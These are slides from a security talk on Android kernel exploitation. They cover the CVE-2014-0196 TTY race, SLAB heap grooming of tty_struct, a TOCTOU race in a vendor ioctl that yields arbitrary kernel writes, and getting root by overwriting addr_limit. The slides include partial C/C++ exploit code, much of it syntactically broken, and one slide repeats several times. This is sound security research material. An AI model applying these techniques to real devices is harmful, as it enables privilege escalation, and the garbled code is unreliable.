Racing with DROIDS
Background
- @K33nTeam
- Previously ~4 years in ESET

Contact
- twitter : @zer0mem
- weibo : weibo.com/u/5238732594
- blog : http://zer0mem.sk
- src : https://github.com/zer0mem
TTY
- Bug
- Resources
- SLAB
- target
- Race

DROIDS
- TOCTOU + CVE
- Out Of Boundary
- Information gathering
- State of exploitation
- Hardenings
- 0days, what for?
TTY racing issue
weak lock ...

1. Requesting for available space is locked => SAFE
2. Afterwards working with memory not locked, but fast & SHOULD be safe
3. Updating “used” member is NOT locked => BUG
TTY racing issue

core of the BUG

PROBLEM:

- TTY { master + slave }
- Multithread access!

GOAL:

- attempt to return there IS a space, even there is NOT!

PLAN:

- write to master
- write to slave
- cause RACE-CONDITION

TIMING ISSUE:

- memcpy + memset prologon execution gap
- write(tb->size) to slave (SLOW!)
- write(1) to master (FAST!)
Race OK! What is next?

1. Race for int confusion
2. Buffer overflow

3. Control content of consecutive blocks!
4. Do overwrite to consecutive blocks
5. Gain control
TTY - problem 1. openpty

1. Lack of implementation in current NDK: armeabi-v7a + API level 19
2. That means even not dlsym!
3. Find out how to implement it: https://github.com/gavinlin/dropbear-for-android/blob/master/openpty.c
4. Find out IF IT WORKS!
5. Find out how it works, and implement it for our needs!
TTY - PoC vs android vs implementation

TTY PoC

```c
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
    puts("TTY creation failed");
    return 1;
}

for (j = 0; j < RUN_ALLOCS; ++j) {
    if (openpty(&free[j], &free2[j], NULL, NULL, NULL) == -1) {
        puts("TTY creation failed");
        return 1;
    }
}

for (i = 0; i < RUN_ALLOCS / 2); {
    write(slave_fd, buf, 1);
}

tcsetattr(master_fd, TCSANOW, &free);
tcsetattr(slave_fd, TCSANOW, &free2);

if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, &free)) {
    puts("Overwrite thread creation failed");
    return 1;
}

write(master_fd, ",", 1);
for (j = 0; j < RUN_ALLOCS; ++j) {
    if (j < RUN_ALLOCS / 2) {
        continue;
    }

    ioctl(4, j, &free);
    ioctl(4, j, &free2);
    close(4);
}
```

TTY boosted PoC

```c
void *overwrite_thread_fn(void *) {
    write(slave_fd, buf, TTY_BUFFER_PAGE - 1);
    write(slave_fd, buf, TTY_BUFFER_PAGE - 1);
    write(slave_fd, &overwrite, sizeof(overwrite));
}
```

```c
void void EnterCpl0(CTTYContainer& ttySlab) {
    } (TTYContainer& ttySlab) {
    if (auto fd = ttylab.Master().begin(); fd != ttylab.Master().end()) {
        std::lock_guard<std::mutex> lock(fd);
        CIOException slave(connect_slave(fd));
        if (slave.get() > 1)
            ioctl(slave.get(), &deadbeef);
    }
```

http://blog.include security.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html
TTY - PoC vs android vs implementation

- write to slave/master are 'asynchronous'! (ECHO flag!)
  - not necessary thread for race!

- open("/dev/ptmx") instead of openpty
  - open just master!
  - used for SLAB 'magic'

- ioctl calls just for slaves
  - open slave to master when it comes to exploitation

- now it should be clear from code, what is doing!

TTY - problem 2.

android debug?

Windows ;)

Linux :O
Queue a series of bytes to the tty buffering. All the characters passed are marked with the supplied flag. Returns the number added.

Locking: Called functions may take tty->buf.lock

```c
int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,
                                     const unsigned char *chars,
                                     char *flag, size_t size)
```

""" If there is no space then tty may be NULL."
if (unlikely(size == 0))
break;
memcpy(tty->char_buf_ptr + th->unused, chars, space);
memcpy(th->flag_buf_ptr + th->unused, flag, space);
th->unused -= space;
copied += space;
chars += space;
/* There is a small chance that we need to split the data over several buffers. If this is the case we must loop */
while (unlikely(size > copied))
return copied;
return copied;

EXPORT_SYMBOL(tty_insert_flip_string_fixed_flag);
```

```
tty_insert_flip_string Flags - Add characters to the tty buffer
@tty: tty structure
@chars: characters
@flags: flag bytes
@size: size

Queue a series of bytes to the tty buffering. For each character the flags array indicates the status of the character. Returns the number added.

Locking: Called functions may take tty->buf.lock
```

```
tty_insert_flip_string_flags struct tty_struct *tty,
        const unsigned char *chars,
        const char *flags, size_t size
```

"""
Linux debugging – but ...

TTY Race – vbox + emulator!

Goldfish + Source Inside?
PART-II

TARGET
tty_struct
perfect
candidate!

contains ptr to
tty_operations

openpty - aka
open("/dev/ptmx")
easy to create
this struct in
memory!
bunch of krn
func pointers
(open, remove,
write, ioctl ...)

Hidden

Pointers

openpty - aka
open("/dev/ptmx")
easy to create
this struct in
memory!
bunch of krn
func pointers
(open, remove,
write, ioctl ...)

Hidden

Pointers

openpty - aka
open("/dev/ptmx")
easy to create
this struct in
memory!
bunch of krn
func pointers
(open, remove,
write, ioctl ...)

Hidden

Pointers

openpty - aka
open("/dev/ptmx")
easy to create
this struct in
memory!
bunch of krn
func pointers
(open, remove,
write, ioctl ...)

Hidden

Pointers

openpty - aka
open("/dev/ptmx")
easy to create
this struct in
memory!
bunch of krn
func pointers
(open, remove,
write, ioctl ...)

Hidden

Pointers

openpty - aka
open("/dev/ptmx")
easy to create
this struct in
memory!
bunch of krn
func pointers
(open, remove,
write, ioctl ...)

Hidden

Pointers
Not so hidden **tty_operations**

TTY Bonus!

1. `sizeof(tty_struct) == 0x...`
2. `sizeof(ty_buffer) == 0x...`
3. Both covered by same SLAB
4. 0x400 SLAB buffer
5. 1Page == 0x1000
6. SLAB for 0x400 contains 4 consecutive pages!
7. SLAB is very simple algo
   → PREDICATBLE!
8. but just 4 blocks really sucks!
SLAB allocator
(going to be obsolete)

1. Bonwick paper: https://www.usenix.org/legacy/publications/library/proceedings/bos94/full_papers/bonwick.a
3. mm/slab.c
1. Kalloc, takes memory from ARRAY-CACHE
2. ARRAY-CACHE contains XY (0x36, ..) memory blocks
3. Those memory blocks are from SLAB
4. 4TTY possible in one SLAB
5. 5th TTY can be pages away!
6. As seen on the picture, Cache2 is for TTY – different NOT-CONSECUTIVE SLABS
7. Big Object means less predictable
1. Allocated in order
2. \( ac \rightarrow avail \)
3. Means predicatable
4. BUT
5. Just 4 pages to play with
PART III

are we done?
1. Rewrite tty_struct, be aware to not overwrite all data!
2. tb->char_buf_ptr for chars are controllable
3. tb->flags_buf_ptr are not
4. memset(flags, size) follows memcpy(buf, size)
5. means we memset tty_struct before we reach it by memcpy
6. Fail going to happen!
1. Need to correctly rewrite rest of struct

2. Did you see another REALLY hidden pointer? 😊
30min – 2/3 hours on vbox+qemu
20-30sec on patched kernel

... sometimes kernel panic ...
PART IV.

State of DROIDS

Am I missing something there ... ?

x64, SMAP, SMEP (PXN), W^E, KASLR
2 selected common cases on DROIDs

Out of Boundary

TOCTOU
1. TOCTOU
2. Direct user deref
3. failed copy_from_user practice
4. Large time window by wait method
5. write-where-what
Prepare data & racer & invoke syscall

```c
//2. // mem -- what-to-write
// size -- how-many-to-write
bool loaded = LoadRootingDataToKernel(ioctl_arg, mem, size);
if (!loaded)
    return false;

//3. prepare for ultimate write - > "memcpy(msdc_ctl->buffer, sg_msdc_msdc_
ioctl_arg.buffer - add; //where-to-write!
ioctl_arg.iwrite = 0; //set read, for reaching our memcpy!

//4. prepare racer
ioctl_arg.total_size = size;//info for racer -> how-many-to-write
pthread_t flipping_thread;
If (pthread_create(
    &flipping_thread, nullptr,
    #flipIoctlWriteToRead,
    &ioctl_arg))
    { printf("\n... no racer, no root ...\n"); 
      return false;
    }

//5. sync with racer
while (gcStartRaceSignal != ioccl_result)
    //wait for signal
ioctl_arg.result = 0; //finally, send signal & start race

//6. real race begins! - results in root!
(void)ioctl(m_nwMisc5d.get(), 0, &ioctl_arg);
```

Racing syscall

```c
while (gcStartRaceSignal == m_ioctl->result) 
    //wait for signal

//start 'racing'
while (gcEndRaceSignal != m_ioctl->result)
    /*
     * so usleep is better solution for this case, because
     * in their syscall is present long-wait call in right place ;)
     * mmc_set_data_timeout + mmc_wait_for_req <- long long waits, before our
     */
    usleep(500);

    rw_ioctl->opcode ^= (MSDC_MULTIPLE_READ_WRITE ^ MSDC_CARD_DUMMY_FUNC);
    rw_ioctl->total_size ^= (0 ^ sizeof(void*)); //0 vs size
```
1. Trivial to exploit
2. Generic implementation
3. write/read – where
4. NO - SMAP
5. but sometimes PXN
Information gathering

- NO-KASLR
- SWI vector table trick, on some device not available anymore
- /proc/kallsyms (gather export info, no addresses)
- ReadVuln + parse symbols / walk structs
- PoolSpray + (semi)blind overwrite
- SLAB abusing
- Relative structs targeting
Write / Read WHERE

no-KASLR

CTaskStruct* init_task = static_cast<CTaskStruct*>(KASLR_NO_VMLINUX_BASE);
for (; init_task < KASLR_NO_VMLINUX_END; init_task += 3)
{
    int magic;
    if (lru.Read                                    
        (init_task, &magic, sizeof(magic))
        return nullptr;

    if (0x7B != magic)
        continue;

    void* data[MAX_PRIO_DELTA];
    if (lru.Read                                    
        (init_task - sizeof(data), &data, sizeof(data))
        return nullptr;

    for (size_t i = 0; i < MAX_PRIO_DELTA; i++)
    {
        auto init_task_id = reinterpret_cast<INIT_TASK_ID*>(
            &data[i]);
        if (0 == (init_task_id->stack & (PAGE SIZE - 1)) &&
            2 == init_task_id->usage.counter &&
            0x200000 == init_task_id->flags)
    }

1. NO – KASLR
2. Read-Where vuln
3. Known base
4. Resolving symbols
5. Walking structures
Where

1. NO – KASLR
2. Read-Where vuln
3. Known base
4. Resolving symbols
5. /proc/kallsyms pairing!

https://github.com/fio1/kallsymsprint for more detailed example
Droids hardening I.

ops pre-read

1. Pre-read buffer to kernel
2. TOCTOU safe
3. But not possible check future calcs from
4. Depends again on safety checks
5. Most common fails => boundary checks
Droids hardening II.
Camera out of the game?

1. Media permission needed
2. Finally not able to request by non-root
3. Permissions based on whitelist
4. But it is just DEFAULT config
5. BUT many soc vendors just ADD camera to whitelist anyway
6. camera == backdoor?
Droids hardening / fixing

ops hooks

Camera for users just as a service

Proper copy_from_user
Safety checks – what about inner calcs?

NICE! But still no UDEREF used on droids

GOOD! but patching is nowadays obsolete anyway 😊

Sure SANE thing ... but not solution ... still useful for kernel rootkits

PXN

W^X
Kernel IO framework

1. Basically now you can turn majority of write-where vuln on droids to full KernelIo
2. Really good R/W vuln turns directly into CKernelRW
3. Write nullptr(s) with(out) thread_stack info, turns into CPipe
4. OutOfBoundaries always turn to CAlignedRW, which can be easily transformed To 2. or .3
5. KernelIo means ability to full compromise of system, regardless of protection
Step-by-step:

- Resolve symbols
- Prepare payload

write-where-(semi)what

thread_info
->addr_limit

- Leak thread stack
- Pool spray – pthread_create(*)

root + su
Access policy bypass

kernel escape +
driver & hook ops

Full compromise
of system

Full compromise
of system
1. Need improve technique, if generic simple one works?
2. No need to sophisticated leaks
3. Easy to use in-context methods
4. PXN can be issue, but no with full read/write to kernel
**Droids hardening - continue**

<table>
<thead>
<tr>
<th>Feature</th>
<th>Security Measures</th>
</tr>
</thead>
<tbody>
<tr>
<td>SELinux (SEAndroid)</td>
<td>• Root != full control; + customization</td>
</tr>
<tr>
<td>ROM diversity</td>
<td>• Exploit =&gt; Root Solution =&gt; disaster!!</td>
</tr>
<tr>
<td>Cut availability of source code</td>
<td>• security through obscurity?</td>
</tr>
<tr>
<td>ARM TrustZone</td>
<td>• TIMA</td>
</tr>
<tr>
<td>x64 coming soon!</td>
<td>• KASLR, SMEP, SMAP?</td>
</tr>
</tbody>
</table>

[http://www.sisa.samsung.com/research-lab/b2b-research-lab](http://www.sisa.samsung.com/research-lab/b2b-research-lab)
State of rooting => DROIDS

- Root != FULL control
- SEAndroid and customization in place
- Strict policy on permissions
- Part of config, not open sourced...
- Reverse engineering & deep study of policy
DROID kernel research

Exploitation

- High ROM diversity
- Check device permissions
- Dump / Download kernel
- Debug kernel & develop exploit

Policy (not covered in this talk)

- High ROM diversity
- Dump / Download Kernel
- Bin diff policy changes
- Reverse engineer configuration & customizations
1. Private 0day
2. Build on it own debugger
3. printk – inform trace
4. Read memory
5. Hooks
   1. read data
   2. Make loops
   3. Change control flow
6. Debug not critical threads
   1. Code specific
7. Kernel ARM disasm – Capstone

http://www.capstone-engine.org/
Acknowledge

Thanks to:

jfang
liac
wushi
nforest
gynvael
j00ru
geohot
We are hiring!

- #1 vulnerability research team in China
  - [http://www.k33nteam.org/cvelist.htm](http://www.k33nteam.org/cvelist.htm)

- Enjoying research?
  - Mobile (Android, iOS, WP)
  - PC (Windows, OS X, Chrome OS, etc.)

- Willing to move to Shanghai?
  - Beijing?

- Want to join our team?
  - Application security
  - Kernel security
First Worldwide Security Geek Contest
for Smart Devices

2014 - $500,000
2015 - $?????????

Pick a device, name your own challenge!

www.geekpwn.org